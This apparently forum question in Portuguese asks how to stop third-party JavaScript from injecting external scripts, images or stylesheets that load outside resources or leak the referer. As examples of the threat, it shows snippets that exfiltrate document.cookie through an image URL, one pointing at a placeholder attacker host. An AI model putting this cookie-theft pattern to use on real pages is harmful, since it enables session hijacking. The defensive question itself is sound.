Eu entendo que podemos criar e procurar plugins javascript, analisar o código e ter certeza que ele não irá injetar nada na página de fora.
Mas supondo que exista alguma biblioteca do qual injete elementos <script>
, <link>
, <img>
, <video>
, <audio>
, ...
Isto pode causar os seguintes problemas:
- Abrir brechas de segurança como injetar scripts "maliciosos"
- Capturar pelo
referer
a página de origem - Afetar a performance
É possível prevenir que um script injete com document.createElement
(ou innerHTML
ou document.write
) elementos que acessem recursos externos?
Ou então é possível recursos que venham de fora dos domínios permitidos?
Por exemplo, impedir requisições de servidores externos:
Impedir injeção de arquivos .js
var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);
Impedir injeção de arquivos de imagem e .css
Imagens, videos, e outros recursos semelhantes podem pegar pelo referer
a página de origem e no caso quero prevenir isto para evitar que saibam a página de origem, já que pode se tratar de uma url restrita:
var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
E como citou o @mgibsonbr podem enviar dados por metodo GET por exemplo:
var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);
<img src="http://atacante.example.com/kitty.jpg?cookie=algo_roubado_da_pagina_atual">
– mgibsonbr 18/07/15 às 22:03